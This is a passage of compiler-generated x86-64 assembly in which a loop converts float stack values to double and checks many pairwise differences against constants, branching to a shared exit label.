%xmm0 movss -100(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_15(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_78 jp LBB1_78 jmp LBB1_83 LBB1_78: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -100(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_16(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_79 jp LBB1_79 jmp LBB1_83 LBB1_79: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -100(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_80 jp LBB1_80 jmp LBB1_83 LBB1_80: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -100(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_81 jp LBB1_81 jmp LBB1_83 LBB1_81: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -100(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_12(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_82 jp LBB1_82 jmp LBB1_83 LBB1_82: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -100(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_17(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_83: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.84: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_8(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.85: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.86: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.87: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_18(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.88: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.89: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -116(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_90 jp LBB1_90 jmp LBB1_95 LBB1_90: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -116(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_8(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_91 jp LBB1_91 jmp LBB1_95 LBB1_91: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -116(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_92 jp LBB1_92 jmp LBB1_95 LBB1_92: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -116(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_93 jp LBB1_93 jmp LBB1_95 LBB1_93: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -116(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_18(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_94 jp LBB1_94 jmp LBB1_95 LBB1_94: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -116(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_95: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_10(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.96: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.97: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_15(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.98: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.99: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_17(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.100: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_7(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.101: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -92(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_10(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_102 jp LBB1_102 jmp LBB1_107 LBB1_102: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -92(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_103 jp LBB1_103 jmp LBB1_107 LBB1_103: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -92(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_15(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_104 jp LBB1_104 jmp LBB1_107 LBB1_104: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -92(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_105 jp LBB1_105 jmp LBB1_107 LBB1_105: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -92(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_17(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_106 jp LBB1_106 jmp LBB1_107 LBB1_106: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -92(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_7(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_107: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_16(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.108: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.109: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_17(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.110: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_8(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.111: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_19(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.112: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.113: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_16(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_114 jp LBB1_114 jmp LBB1_119 LBB1_114: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_115 jp LBB1_115 jmp LBB1_119 LBB1_115: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_17(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_116 jp LBB1_116 jmp LBB1_119 LBB1_116: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_8(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_117 jp LBB1_117 jmp LBB1_119 LBB1_117: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_19(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_118 jp LBB1_118 jmp LBB1_119 LBB1_118: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_119: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_8(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.120: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_15(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.121: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_18(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.122: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.123: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.124: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_5(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.125: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -52(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_8(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_126 jp LBB1_126 jmp LBB1_131 LBB1_126: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -52(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_15(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_127 jp LBB1_127 jmp LBB1_131 LBB1_127: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -52(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_18(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_128 jp LBB1_128 jmp LBB1_131 LBB1_128: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -52(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_129 jp LBB1_129 jmp LBB1_131 LBB1_129: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -52(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_130 jp LBB1_130 jmp LBB1_131 LBB1_130: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -52(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_5(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_131: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.132: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_7(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.133: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.134: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.135: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_16(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 